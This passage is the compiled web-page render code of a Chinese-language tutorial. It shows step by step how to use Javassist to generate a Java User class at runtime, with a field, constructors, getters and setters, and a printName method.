keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br")])]),t("ul",[t("li",[s._v("在这个User类中,有一个成员变量name,默认值为binghe。")]),s._v(" "),t("li",[s._v("分别有一个无参构造方法和有参构造方法。")]),s._v(" "),t("li",[s._v("成员变量name的get/set方法。")]),s._v(" "),t("li",[s._v("打印成员变量name的方法printName()。")])]),s._v(" "),t("p",[s._v("了解完案例的效果后,我们就开始动手实现如何动态生成这个User类。")]),s._v(" "),t("h2",{attrs:{id:"案例实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例实现"}},[s._v("#")]),s._v(" 案例实现")]),s._v(" "),t("p",[s._v("具体的案例实现,我们可以参考案例的效果一步步完成,这里,我们可以将整个User类的动态生成过程分为6个步骤,分别为:")]),s._v(" "),t("ul",[t("li",[s._v("创建User类。")]),s._v(" "),t("li",[s._v("添加name字段。")]),s._v(" "),t("li",[s._v("添加无参构造方法。")]),s._v(" "),t("li",[s._v("添加有参构造方法。")]),s._v(" "),t("li",[s._v("添加get/set方法。")]),s._v(" "),t("li",[s._v("添加printName()方法。")])]),s._v(" "),t("p",[s._v("好了,说干就干,接下来就按照这5个步骤动态生成User类。")]),s._v(" "),t("h3",{attrs:{id:"创建user类"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#创建user类"}},[s._v("#")]),s._v(" 创建User类")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//使用默认的ClassPool")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),s._v(" pool "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getDefault")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//1.创建一个空类")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),s._v(" ctClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("makeClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.bytecode.javassist.bean.User"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br")])]),t("p",[s._v("User类的创建方法和我们之前创建HelloWorld的类是相同的,首先是获取一个ClassPool对象,通过调用ClassPool对象的makeClass方法创建User类。")]),s._v(" "),t("h3",{attrs:{id:"添加name字段"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加name字段"}},[s._v("#")]),s._v(" 添加name字段")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//2.新增一个字段 private String name; 字段的名称为name")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),s._v(" param "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置访问修饰符为private")]),s._v("\nparam"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PRIVATE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置字段的初始值为binghe")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("Initializer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("constant")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("为User类添加成员变量name时,使用了Javassist中的CtField类。这里,我们使用的CtField的构造方法的第一个参数是成员变量的类型,第二个参数是变量的名称,第三个字段表示将这个变量添加到哪个类。")]),s._v(" "),t("p",[s._v("创建完CtField对象param后,我们调用了param的setModifiers()方法设置访问修饰符,这里将其设置为private。")]),s._v(" "),t("p",[s._v("接下来,为成员变量name赋默认值binghe。上述代码生成的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("h3",{attrs:{id:"添加无参构造方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加无参构造方法"}},[s._v("#")]),s._v(" 添加无参构造方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//3.添加无参的构造函数")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),s._v(" constructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nconstructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('" $0.name = \\"binghe\\"; "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("添加无参构造方法时,使用了Javassist中的CtConstructor类,第一个参数是动态生成的目标类的构造方法的参数类型数组,第二个参数表示将构造方法添加到哪个类中。")]),s._v(" "),t("p",[s._v("接下来,通过调用CtConstructor的setBody()方法设置无参构造方法的方法体。这里需要注意的是方法体中只有一行代码时,可以省略"),t("code",[s._v("{}")]),s._v(", 但是为了防止出错,冰河强烈建议无论方法是否只有一行代码,都不要省略 "),t("code",[s._v("{}")]),s._v("。")]),s._v(" "),t("p",[s._v("细心的小伙伴肯定会发现在方法体中通过"),t("code",[s._v("$0")]),s._v("引用了成员变量name,估计小伙伴们也猜到了这个 "),t("code",[s._v("$0")]),s._v(" 是干啥的。没错,它在生成User类后会被编译成"),t("code",[s._v("this")]),s._v("。")]),s._v(" "),t("p",[t("strong",[s._v("在Javassist中,还会有一些其他具有特定含义的符号,这个我们在文章的最后统一说明。")])]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("接下来,就是调用CtClass的addConstructor()方法为User类添加无参构造方法。")]),s._v(" "),t("h3",{attrs:{id:"添加有参构造方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加有参构造方法"}},[s._v("#")]),s._v(" 添加有参构造方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//4.添加有参构造函数")]),s._v("\nconstructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nconstructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"$0.name = $1;"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("添加有参构造方法的整体流程和添加无参构造方法的整体流程相同,只是在创建CtConstructor对象时,在CtConstructor的构造方法的第一个参数类型数组中使用"),t("code",[s._v('pool.get("java.lang.String")')]),s._v("添加了一个数组元素,表示生成的目标类的构造方法存在一个String类型的参数。")]),s._v(" "),t("p",[s._v("另外,在设置方法体时,使用了如下代码。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[s._v("$"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" $"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("表示将构造方法的第一个参数赋值给成员变量name。这里,"),t("code",[s._v("$0")]),s._v(" 表示 "),t("code",[s._v("this")]),s._v(", "),t("code",[s._v("$1")]),s._v(" 表示第一个参数,"),t("code",[s._v("$2")]),s._v("表示第二个参数,以此类推。")]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h3",{attrs:{id:"添加get-set方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加get-set方法"}},[s._v("#")]),s._v(" 添加get/set方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//5.添加getter和setter方法")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"setName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"getName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("添加get/set方法就比较简单了,直接使用CtClass的addMethod()添加,使用CtNewMethod的setter()方法生成set方法,其中,第一个参数为生成的方法的名称setName,第二个参数表示是为哪个字段生成setName方法。")]),s._v(" "),t("p",[s._v("使用CtNewMethod的getter()方法生成get()方法,第一个参数为生成的方法的名称getName,第二个参数表示是为哪个字段生成getName方法。")]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br")])]),t("h3",{attrs:{id:"添加printname-方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加printname-方法"}},[s._v("#")]),s._v(" 添加printName()方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//6.创建一个输出name的方法")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),s._v(" ctMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("voidType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"printName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PUBLIC")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token 